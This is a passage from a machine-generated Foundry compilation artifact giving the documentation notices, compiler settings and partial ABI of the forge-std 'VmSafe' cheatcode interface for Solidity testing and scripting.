string of JSON data at `key` and coerces it to `bytes32[]`.\"},\"parseJsonBytesArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bytes[]`.\"},\"parseJsonInt(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `int256`.\"},\"parseJsonIntArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `int256[]`.\"},\"parseJsonKeys(string,string)\":{\"notice\":\"Returns an array of all the keys in a JSON object.\"},\"parseJsonString(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `string`.\"},\"parseJsonStringArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `string[]`.\"},\"parseJsonUint(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `uint256`.\"},\"parseJsonUintArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `uint256[]`.\"},\"parseToml(string)\":{\"notice\":\"ABI-encodes a TOML table.\"},\"parseToml(string,string)\":{\"notice\":\"ABI-encodes a TOML table at `key`.\"},\"parseTomlAddress(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `address`.\"},\"parseTomlAddressArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `address[]`.\"},\"parseTomlBool(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bool`.\"},\"parseTomlBoolArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bool[]`.\"},\"parseTomlBytes(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bytes`.\"},\"parseTomlBytes32(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bytes32`.\"},\"parseTomlBytes32Array(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bytes32[]`.\"},\"parseTomlBytesArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bytes[]`.\"},\"parseTomlInt(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `int256`.\"},\"parseTomlIntArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `int256[]`.\"},\"parseTomlKeys(string,string)\":{\"notice\":\"Returns an array of all the keys in a TOML table.\"},\"parseTomlString(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `string`.\"},\"parseTomlStringArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `string[]`.\"},\"parseTomlUint(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `uint256`.\"},\"parseTomlUintArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `uint256[]`.\"},\"parseUint(string)\":{\"notice\":\"Parses the given `string` into a `uint256`.\"},\"pauseGasMetering()\":{\"notice\":\"Pauses gas metering (i.e. gas usage is not counted). Noop if already paused.\"},\"projectRoot()\":{\"notice\":\"Get the path of the current project root.\"},\"readDir(string)\":{\"notice\":\"Reads the directory at the given path recursively, up to `maxDepth`. `maxDepth` defaults to 1, meaning only the direct children of the given directory will be returned. Follows symbolic links if `followLinks` is true.\"},\"readDir(string,uint64)\":{\"notice\":\"See `readDir(string)`.\"},\"readDir(string,uint64,bool)\":{\"notice\":\"See `readDir(string)`.\"},\"readFile(string)\":{\"notice\":\"Reads the entire content of file to string. `path` is relative to the project root.\"},\"readFileBinary(string)\":{\"notice\":\"Reads the entire content of file as binary. `path` is relative to the project root.\"},\"readLine(string)\":{\"notice\":\"Reads next line of file to string.\"},\"readLink(string)\":{\"notice\":\"Reads a symbolic link, returning the path that the link points to. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` is not a symbolic link. - `path` does not exist.\"},\"record()\":{\"notice\":\"Records all storage reads and writes.\"},\"recordLogs()\":{\"notice\":\"Record all the transaction logs.\"},\"rememberKey(uint256)\":{\"notice\":\"Adds a private key to the local forge wallet and returns the address.\"},\"removeDir(string,bool)\":{\"notice\":\"Removes a directory at the provided path. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` doesn't exist. - `path` isn't a directory. - User lacks permissions to modify `path`. - The directory is not empty and `recursive` is false. `path` is relative to the project root.\"},\"removeFile(string)\":{\"notice\":\"Removes a file from the filesystem. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` points to a directory. - The file doesn't exist. - The user lacks permissions to remove the file. `path` is relative to the project root.\"},\"replace(string,string,string)\":{\"notice\":\"Replaces occurrences of `from` in the given `string` with `to`.\"},\"resumeGasMetering()\":{\"notice\":\"Resumes gas metering (i.e. gas usage is counted again). Noop if already on.\"},\"rpc(string,string)\":{\"notice\":\"Performs an Ethereum JSON-RPC request to the current fork URL.\"},\"rpcUrl(string)\":{\"notice\":\"Returns the RPC url for the given alias.\"},\"rpcUrlStructs()\":{\"notice\":\"Returns all rpc urls and their aliases as structs.\"},\"rpcUrls()\":{\"notice\":\"Returns all rpc urls and their aliases `[alias, url][]`.\"},\"serializeAddress(string,string,address)\":{\"notice\":\"See `serializeJson`.\"},\"serializeAddress(string,string,address[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeBool(string,string,bool)\":{\"notice\":\"See `serializeJson`.\"},\"serializeBool(string,string,bool[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeBytes(string,string,bytes)\":{\"notice\":\"See `serializeJson`.\"},\"serializeBytes(string,string,bytes[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeBytes32(string,string,bytes32)\":{\"notice\":\"See `serializeJson`.\"},\"serializeBytes32(string,string,bytes32[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeInt(string,string,int256)\":{\"notice\":\"See `serializeJson`.\"},\"serializeInt(string,string,int256[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeJson(string,string)\":{\"notice\":\"Serializes a key and value to a JSON object stored in-memory that can be later written to a file. Returns the stringified version of the specific JSON file up to that moment.\"},\"serializeString(string,string,string)\":{\"notice\":\"See `serializeJson`.\"},\"serializeString(string,string,string[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeUint(string,string,uint256)\":{\"notice\":\"See `serializeJson`.\"},\"serializeUint(string,string,uint256[])\":{\"notice\":\"See `serializeJson`.\"},\"setEnv(string,string)\":{\"notice\":\"Sets environment variables.\"},\"sign((address,uint256,uint256,uint256),bytes32)\":{\"notice\":\"Signs data with a `Wallet`.\"},\"sign(uint256,bytes32)\":{\"notice\":\"Signs `digest` with `privateKey` using the secp256k1 curve.\"},\"signP256(uint256,bytes32)\":{\"notice\":\"Signs `digest` with `privateKey` using the secp256r1 curve.\"},\"sleep(uint256)\":{\"notice\":\"Suspends execution of the main thread for `duration` milliseconds.\"},\"split(string,string)\":{\"notice\":\"Splits the given `string` into an array of strings divided by the `delimiter`.\"},\"startBroadcast()\":{\"notice\":\"Using the address that calls the test contract, has all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain.\"},\"startBroadcast(address)\":{\"notice\":\"Has all subsequent calls (at this call depth only) create transactions with the address provided that can later be signed and sent onchain.\"},\"startBroadcast(uint256)\":{\"notice\":\"Has all subsequent calls (at this call depth only) create transactions with the private key provided that can later be signed and sent onchain.\"},\"startMappingRecording()\":{\"notice\":\"Starts recording all map SSTOREs for later retrieval.\"},\"startStateDiffRecording()\":{\"notice\":\"Record all account accesses as part of CREATE, CALL or SELFDESTRUCT opcodes in order, along with the context of the calls\"},\"stopAndReturnStateDiff()\":{\"notice\":\"Returns an ordered array of all account accesses from a `vm.startStateDiffRecording` session.\"},\"stopBroadcast()\":{\"notice\":\"Stops collecting onchain transactions.\"},\"stopMappingRecording()\":{\"notice\":\"Stops recording all map SSTOREs for later retrieval and clears the recorded data.\"},\"toBase64(bytes)\":{\"notice\":\"Encodes a `bytes` value to a base64 string.\"},\"toBase64(string)\":{\"notice\":\"Encodes a `string` value to a base64 string.\"},\"toBase64URL(bytes)\":{\"notice\":\"Encodes a `bytes` value to a base64url string.\"},\"toBase64URL(string)\":{\"notice\":\"Encodes a `string` value to a base64url string.\"},\"toLowercase(string)\":{\"notice\":\"Converts the given `string` value to Lowercase.\"},\"toString(address)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toString(bool)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toString(bytes)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toString(bytes32)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toString(int256)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toString(uint256)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toUppercase(string)\":{\"notice\":\"Converts the given `string` value to Uppercase.\"},\"trim(string)\":{\"notice\":\"Trims leading and trailing whitespace from the given `string` value.\"},\"tryFfi(string[])\":{\"notice\":\"Performs a foreign function call via terminal and returns the exit code, stdout, and stderr.\"},\"unixTime()\":{\"notice\":\"Returns the time since unix epoch in milliseconds.\"},\"writeFile(string,string)\":{\"notice\":\"Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does. `path` is relative to the project root.\"},\"writeFileBinary(string,bytes)\":{\"notice\":\"Writes binary data to a file, creating a file if it does not exist, and entirely replacing its contents if it does. `path` is relative to the project root.\"},\"writeJson(string,string)\":{\"notice\":\"Write a serialized JSON object to a file. If the file exists, it will be overwritten.\"},\"writeJson(string,string,string)\":{\"notice\":\"Write a serialized JSON object to an **existing** JSON file, replacing a value with key = This is useful to replace a specific value of a JSON file, without having to parse the entire thing.\"},\"writeLine(string,string)\":{\"notice\":\"Writes line to file, creating a file if it does not exist. `path` is relative to the project root.\"},\"writeToml(string,string)\":{\"notice\":\"Takes serialized JSON, converts to TOML and write a serialized TOML to a file.\"},\"writeToml(string,string,string)\":{\"notice\":\"Takes serialized JSON, converts to TOML and write a serialized TOML table to an **existing** TOML file, replacing a value with key = This is useful to replace a specific value of a TOML file, without having to parse the entire thing.\"}},\"notice\":\"The `VmSafe` interface does not allow manipulation of the EVM state or other actions that may result in Script simulations differing from on-chain execution. It is recommended to only use these cheats in scripts.\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/Vm.sol\":\"VmSafe\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"target","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"accesses","outputs":[{"internalType":"bytes32[]","name":"readSlots","type":"bytes32[]"},{"internalType":"bytes32[]","name":"writeSlots","type":"bytes32[]"}]},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}],"stateMutability":"pure","type":"function","name":"addr","outputs":[{"internalType":"address","name":"keyAddr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbs"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbs"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbs"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbs"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbsDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbsDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbsDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbsDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRel"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRel"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRel"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRel"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRelDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRelDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRelDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRelDecimal"},{"inputs":[{"internalType":"bytes32[]","name":"left","type":"bytes32[]"},{"internalType":"bytes32[]","name":"right","type":"bytes32[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"int256[]","name":"left","type":"int256[]"},{"internalType":"int256[]","name":"right","type":"int256[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"address","name":"left","type":"address"},{"internalType":"address","name":"right","type":"address"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"string","name":"left","type":"string"},{"internalType":"string","name":"right","type":"string"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"address[]","name":"left","type":"address[]"},{"internalType":"address[]","name":"right","type":"address[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"address[]","name":"left","type":"address[]"},{"internalType":"address[]","name":"right","type":"address[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bool","name":"left","type":"bool"},{"internalType":"bool","name":"right","type":"bool"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"address","name":"left","type":"address"},{"internalType":"address","name":"right","type":"address"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"uint256[]","name":"left","type":"uint256[]"},{"internalType":"uint256[]","name":"right","type":"uint256[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bool[]","name":"left","type":"bool[]"},{"internalType":"bool[]","name":"right","type":"bool[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"int256[]","name":"left","type":"int256[]"},{"internalType":"int256[]","name":"right","type":"int256[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes32","name":"left","type":"bytes32"},{"internalType":"bytes32","name":"right","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"uint256[]","name":"left","type":"uint256[]"},{"internalType":"uint256[]","name":"right","type":"uint256[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes","name":"left","type":"bytes"},{"internalType":"bytes","name":"right","type":"bytes"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes32","name":"left","type":"bytes32"},{"internalType":"bytes32","name":"right","type":"bytes32"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"string[]","name":"left","type":"string[]"},{"internalType":"string[]","name":"right","type":"string[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes32[]","name":"left","type":"bytes32[]"},{"internalType":"bytes32[]","name":"right","type":"bytes32[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes","name":"left","type":"bytes"},{"internalType":"bytes","name":"right","type":"bytes"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bool[]","name":"left","type":"bool[]"},{"internalType":"bool[]","name":"right","type":"bool[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes[]","name":"left","type":"bytes[]"},{"internalType":"bytes[]","name":"right","type":"bytes[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"string[]","name":"left","type":"string[]"},{"internalType":"string[]","name":"right","type":"string[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"string","name":"left","type":"string"},{"internalType":"string","name":"right","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes[]","name":"left","type":"bytes[]"},{"internalType":"bytes[]","name":"right","type":"bytes[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bool","name":"left","type":"bool"},{"internalType":"bool","name":"right","type":"bool"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertEqDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertEqDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEqDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEqDecimal"},{"inputs":[{"internalType":"bool","name":"condition","type":"bool"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertFalse"},{"inputs":[{"internalType":"bool","name":"condition","type":"bool"}],"stateMutability":"pure","type":"function","name":"assertFalse"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertGe"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGe"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGe"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGe"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGeDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGeDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGeDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGeDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertGt"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGt"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGt"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGt"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGtDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGtDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGtDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGtDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLe"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLe"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertLe"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLe"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLeDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLeDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLeDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLeDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertLt"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLt"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLt"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLt"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLtDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLtDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLtDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLtDecimal"},{"inputs":[{"internalType":"bytes32[]","name":"left","type":"bytes32[]"},{"internalType":"bytes32[]","name":"right","type":"bytes32[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"int256[]","name":"left","type":"int256[]"},{"internalType":"int256[]","name":"right","type":"int256[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bool","name":"left","type":"bool"},{"internalType":"bool","name":"right","type":"bool"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","t